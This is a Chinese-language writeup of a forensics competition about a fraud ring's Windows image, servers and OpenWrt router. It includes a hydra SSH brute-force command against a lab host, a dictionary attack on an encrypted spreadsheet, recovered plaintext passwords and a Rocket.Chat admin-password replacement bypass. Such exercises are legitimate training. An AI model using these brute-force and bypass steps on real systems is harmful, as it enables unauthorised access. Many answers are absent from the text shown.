11.分析技术员赵某的Windows镜像,使用AI换脸功能生成了一张图片,该图片的名称为:
powershell历史记录中有:
powershell历史记录源文件:
/Users/L/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
12.分析技术员赵某的Windows镜像,ai换脸生成图片的参数中--similar-face-distance值为:
由上题可知
13.分析技术员赵某的Windows镜像,嫌疑人使用AI换脸功能所使用的原始图片名称为:
由上上题可知
14.分析技术员赵某的Windows镜像,赵某与李某沟通中提到的“二维码”解密所用的网站url地址为?
在Chrome浏览器历史记录里面可以找到解密url地址:
15.分析技术员赵某的Windows镜像,赵某架设聊天服务器的原始IP地址为?
思路一:浏览记录中有:
思路二:之前手机检材中的聊天记录中有:
16.分析技术员赵某的Windows镜像,据赵某交代,其在窝点中直接操作服务器进行部署,环境搭建好了之后,使用个人计算机登录聊天室进行沟通,请分析赵某第一次访问聊天室的时间为?
A. 2024-03-14 20:30:08
B. 2024-03-14 20:31:08
C. 2024-03-14 20:32:08
D. 2024-03-14 20:33:08
由上题分析可知
17.分析技术员赵某的Windows镜像,openwrt的后台管理密码是:
在Chrome浏览器保存的密码中有(火眼自动解密):
18.分析技术员赵某的Windows镜像,嫌疑人可能使用什么云来进行文件存储?
关键词搜索:
19.分析技术员赵某的Windows镜像,工资表密码是多少?
工资表是加密盘中名单.xlsx
文件,使用passware password recovery kit forensic
进行字典暴力破解可得
20.分析技术员赵某的Windows镜像,张伟的工资是多少?
解密表格得到:
服务器集群部分
13.网站超级管理员用户账号创建的时间是?
开始复原,打开数据库虚拟机
宝塔里写的数据库位置ip是192.168.8.142:
因此使用hydra进行爆破:
hydra -l root -P commonPwd.txt ssh://192.168.8.142
得到数据库服务器密码hl@7001
登录后发现没有mysql:
但是有docker,其中发现mysql镜像:
systemctl start docker
docker ps -a
docker start 9bf1cecec395
成功连接,得到账号密码使用navicat连接
ji-mei
JnzssCCsp2NCpcjA
sys_user
表中有:
14.重构进入网站之后,用户列表页面默认有多少页数据?
此题开始需要完整重建网站,重构指南在之前Windows机器分析中得到“运维笔记”:
按步骤来:
1.检查ruo-yi配置中mysql连接语句:
localhost改为192.168.8.142,再把密码改成JnzssCCsp2NCpcjA
jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
2.检查ssl
jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
3.检查redis
redis修改localhost为127.0.0.1
jar xf ruoyi-admin.jar BOOT-INF/classes/application.yml
vi BOOT-INF/classes/application.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application.yml
4.定时报错问题
修改Sys_job
0 0/2 * * * ?
秒: 0 → 每分鐘的第0秒触发。
分钟: 0/2 → 从第0分钟开始,每隔2分钟触发一次(即0,2,4,...,58分钟)。
其他字段: * 表示“任意值”,? 表示“不指定星期几”。
总体含义: 每两分钟运行一次,精确在偶数分钟的0秒(如00:00:00, 00:02:00等)。
5.登录受限:靶机搭建在本地,可以不用修改
尝试运行:
java -jar /webapp/ruoyi-admin.jar
访问:
成功,在数据库中修改admin密码:
成功登录:
总共有877页用户
15.该网站的系统接口文档版本号为?
16.该网站获取订单列表的接口是?
17.受害人卢某的用户ID?
根据手机检材聊天记录可知用户账号为lu123456
18.受害人卢某一共充值了多少钱?
查看受害人的账单流水即可:
19.网站设置的单次抽奖价格为多少元?
20.网站显示的总余额数是?
资金统计中有:
21.网站数据库的root密码是?
22.数据库服务器的操作系统版本是?
重构了半天环境的结局……
不想做了,后边WP来自(第四届FIC线上赛,官方复盘在这里!、2024第四届FIC初赛Writeup | ZhangZ-Blog)
23.数据库服务器的Docker Server版本是?
docker -v
docker version
24.数据库服务器中数据库容器的完整ID是?
由第13题可继续查看 Docker 对象的详细信息
docker inspect 9bf1cecec395
25.数据库服务器中数据库容器使用的镜像ID?
同理由13题在数据库服务器中可查看
docker images
26.数据库服务器中数据库容器创建的北京时间
A. 2024/3/13 12:15:23
B. 2024/3/13 20:15:23
C. 2024/3/14 00:15:23
D. 2024/3/13 08:15:23
docker inspect 9bf1cecec395
默认时间是UTC,需要+8
27.数据库服务器中数据库容器的ip是?
28.分析数据库数据,在该平台邀请用户进群最多的用户的登录IP是?
使用SQL语句进行查询,群邀请表查询邀请人数最多的用户。
SELECT inviter_id, COUNT(*) AS invite_count
FROM app_group_apply
WHERE status = 1
GROUP BY inviter_id
ORDER BY invite_count DESC
LIMIT 10;
查询该用户信息,命令如下:
SELECT * from app_user_info WHERE id = 53576061
29.分析数据库数据,在该平台抢得最多红包金额的用户的登录IP是?
使用命令查看红包流水表查询抢得最多红包金额的用户。
SELECT user_id, SUM(money) as total_money
FROM app_grop_redpacket_member
GROUP BY user_id ORDER BY total_money desc;
SELECT * from app_user_info WHERE id = 90671142
查询该用户信息,命令如下:
SELECT * from app_user_info WHERE id = 90671142
30.数据库中记录的提现成功的金额总记是多少?(不考虑手续费)
使用查询语句查询得到总额(数据库中备注信息,有说明status=3为提现成功)。
SELECT SUM(amount) FROM `app_user_withdraw` WHERE `status` = 3
31.rocketchat服务器中,有几个真实用户?
rocketchat的后台地址是:http://192.168.8.128:3000/home
esxi得到ip,然后默认端口是3000
账号密码在Windows里面
admin@admin.com
Zhao
rocketchat后台登录成功,聊天中第三个是bot
32.rocketchat服务器中,聊天服务的端口号是?
使用linux命令查看docker容器监听的端口即可
docker exec -it 9 /bin/bash
netstate -anpt
33.rocketchat服务器中,聊天服务的管理员的邮箱是?
由31题可知
admin@admin.com
34.rocketchat服务器中,聊天服务使用的数据库的版本号是?
navicat连接后可以看到服务器版本为5.0.24
35.rocketchat服务器中,最大的文件上传大小是?(以字节为单位)
登录后查看设置-文件上传
36.rocketchat服务器中,管理员账号的创建时间为?
A. 2024/3/14 8:18:54
B. 2024/3/14 8:19:54
C. 2024/3/14 8:17:54
D. 2024/3/14 8:15:54
Rocket绕密:登录界面点击注册。
注册成功后,用你注册的密码替换admin的密码即可。
37.rocketchat服务器中,技术员提供的涉诈网站地址是:
38.综合分析服务器,该团伙的利润分配方案中,老李的利润占比是多少?
39.综合分析服务器,该团队“杀猪盘”收网的可能时间段为:
A.2024/3/15 15:00:00-16:00:00
B.2024/3/15 16:00:00-17:00:00
C.2024/3/15 17:00:00-18:00:00
D.2024/3/15 18:00:00-19:00:00
40.请综合分析,警方未抓获的重要嫌疑人,其使用聊天平台时注册邮箱号为?
根据手机部分题目可知未抓捕的重要人员为老苏,查看该账号的信息可得。
41.分析openwrt镜像,该系统的主机名为:
OpenWRT 是一个专门为路由器、嵌入式设备设计的开源 Linux 操作系统。
简单讲,它就像是给你的路由器装了一个小型、可定制的 Linux 系统,让原本只能基础上网的路由器,变得超级强大,比如可以:
- 自己装各种软件(像安装 Linux 程序一样)
- 支持 VPN
- 精细控制防火墙、流量管理(QoS)
- 变成广告屏蔽器、下载机、小型服务器(NAS)
- 更灵活地管理无线信号、中继、Mesh 网络
- 进行系统级别的安全加固
OpenWRT的登录密码在windows浏览器保存(详见检材3-计算机部分第17题)
账密在这里
42.分析openwrt镜像,该系统的内核版本为
43.分析openwrt镜像,该静态ip地址为:
静态分析网卡配置文件或者在页面配置中可以查看:
44.分析openwrt镜像,所用网卡的名称为:
45.分析openwrt镜像,该系统中装的docker的版本号为:
docker version
46.分析openwrt镜像,nastools的配置文件路径为:
服务-NasTools内可发现:
47.分析openwrt镜像,使用的vpn代理软件为:
48.分析openwrt镜像,vpn实际有多少个可用节点?
根据配置文件,第一个不是节点所以54-1=53